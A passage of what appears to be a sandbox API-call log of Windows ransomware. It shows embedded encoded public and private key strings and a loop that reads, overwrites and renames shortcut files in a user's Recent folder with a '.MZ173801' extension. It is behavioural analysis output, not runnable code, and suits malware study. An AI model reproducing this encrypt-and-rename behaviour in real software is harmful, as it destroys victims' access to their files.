lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0150.467] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0150.468] GetCurrentThreadId () returned 0xab4 [0150.468] GetCurrentThreadId () returned 0xab4 [0150.468] GetCurrentThreadId () returned 0xab4 [0150.468] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\NJjgpU2TJz.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\njjgpu2tjz.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0150.481] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0150.481] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0150.481] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x3db [0150.482] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0150.482] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x3db, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x3db, lpOverlapped=0x0) returned 1 [0150.483] CloseHandle (hObject=0x280) returned 1 [0150.483] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\NJjgpU2TJz.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\njjgpu2tjz.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0150.485] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x3db, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x3db, lpOverlapped=0x0) returned 1 [0150.522] CloseHandle (hObject=0x280) returned 1 [0150.531] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\NJjgpU2TJz.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\njjgpu2tjz.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\NJjgpU2TJz.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\njjgpu2tjz.lnk.mz173801")) returned 1 [0150.532] GetCurrentThreadId () returned 0xab4 [0150.532] GetCurrentThreadId () returned 0xab4 [0150.532] GetCurrentThreadId () returned 0xab4 [0150.532] GetCurrentThreadId () returned 0xab4 [0150.532] GetCurrentThreadId () returned 0xab4 [0150.532] GetCurrentThreadId () returned 0xab4 [0150.532] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4dee4ddf, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x4dee4ddf, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x4dee735e, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x598, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="NnWEZGpZkAAsmio3W.lnk", cAlternateFileName="NNWEZG~1.LNK")) returned 1 [0150.532] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0150.532] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0150.532] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\NnWEZGpZkAAsmio3W.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\nnwezgpzkaasmio3w.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4dee4ddf, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x4dee4ddf, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x4dee735e, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x598)) returned 1 [0150.533] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\NnWEZGpZkAAsmio3W.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\nnwezgpzkaasmio3w.lnk")) returned 0x20 [0150.533] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\NnWEZGpZkAAsmio3W.lnk", dwFileAttributes=0x80) returned 1 [0150.640] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0150.640] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0150.641] GetCurrentThreadId () returned 0xab4 [0150.641] GetCurrentThreadId () returned 0xab4 [0150.641] GetCurrentThreadId () returned 0xab4 [0150.641] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0150.641] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0150.641] GetCurrentThreadId () returned 0xab4 [0150.641] GetCurrentThreadId () returned 0xab4 [0150.642] GetCurrentThreadId () returned 0xab4 [0150.642] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\NnWEZGpZkAAsmio3W.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\nnwezgpzkaasmio3w.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0150.642] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0150.642] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, 